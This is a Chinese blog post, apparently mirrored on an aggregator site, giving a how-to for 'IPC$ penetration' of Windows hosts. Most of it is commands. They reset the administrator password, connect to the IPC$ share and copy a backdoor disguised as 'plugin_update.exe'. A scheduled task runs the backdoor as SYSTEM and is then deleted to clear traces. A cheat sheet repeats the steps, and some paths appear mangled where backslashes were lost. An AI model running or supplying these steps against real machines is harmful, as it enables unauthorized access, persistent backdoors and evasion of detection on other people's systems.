zoukankan      html  css  js  c++  java
  • IPC$渗透使用

    简介

    IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

    使用条件

    1.开放了139、445端口; 2.目标开启ipc$文件共享; 3.获取用户账号密码。

    测试过程

    此测试前提是获取了ipc$, 这里测试的时候得到的权限是system,然后创建了一个admin账户,给了administrators权限,但无法复制文件过去,于是就改了administrator账户密码(实战中不建议更改,可读取管理密码后再用读到的密码)。 更改密码:net user administrator "1qaz@WSX"

    • 1.连接目标ipc$,将后门复制到目标机器上
    net use \193.168.1.12ipc$ /user:administrator "1qaz@WSX"
    copy plugin_update.exe \193.168.1.12c$windows	empplugin_update.exe
    

    • 2.创建自动任务,执行上传的后门程序
    # 查看目标机器时间
    net time \193.168.1.12
    # 创建该时间之后的某个时刻自动执行任务,任务名 plugin_update
    schtasks /create /tn "plugin_update" /tr c:windows	empplugin_update.exe /sc once /st 16:32 /S 193.168.1.12 /RU System /u administrator /p "1qaz@WSX"
    # 如果不想等,可以立即运行后门程序
    schtasks /run /tn "plugin_update" /S 193.168.1.12 /u administrator /p "1qaz@WSX"
    # 删除创建的任务
    schtasks /F /delete /tn "plugin_update" /S 193.168.1.12 /u administrator /p "1qaz@WSX"
    

    接收端的目标机器已上线。

    常用命令

    # 1.连接
    net use \193.168.1.12ipc$ /user:administrator "1qaz@WSX"
    # 2.查看连接情况
    net use
    # 3.查看目标主机共享资源
    net view \193.168.1.12
    # 4.查看目标主机时间
    net time \193.168.1.12
    # 5.查看目标主机的NetBIOS用户(自己本机也需开启)
    nbtstat -A 193.168.1.12
    # 6.删除连接
    net use \193.168.1.12ipc$ /del
    # 7.文件上传下载
    copy plugin_update.exe \193.168.1.12c$windows	empplugin_update.exe   
    (上传到目标的:cwindows	emp目录下)
    copy \127.0.0.1c$	est.exe c:
    (下载到本地c盘下)
    # 8.创建计划任务
    schtasks /create /tn "plugin_update" /tr c:windows	empplugin_update.exe /sc once /st 1 6:32 /S 193.168.1.12 /RU System /u administrator /p "1qaz@WSX"
    # 9.立即执行计划任务
    schtasks /run /tn "plugin_update" /S 193.168.1.12 /u administrator /p "1qaz@WSX"
    # 10.删除计划任务
    schtasks /F /delete /tn "plugin_update" /S 193.168.1.12 /u administrator /p "1qaz@WSX"
    
  • 相关阅读:
    javascript 字符串与正则
    微信小程序 实现三级联动-省市区
    VUE图片懒加载-vue lazyload插件的简单使用
    移动端使用mint-ui loadmore实现下拉刷新上拉显示更多
    vue-cli创建的项目中引入第三方库报错 'caller', 'calle', and 'arguments' properties .....报错问题
    js判断两个数组是否相等
    234回文链表
    剑指 Offer 22. 链表中倒数第k个节点
    返回倒数第 k 个节点
    leetcode 179.最大数
  • 原文地址:https://www.cnblogs.com/sstfy/p/10414680.html
Copyright © 2011-2022 走看看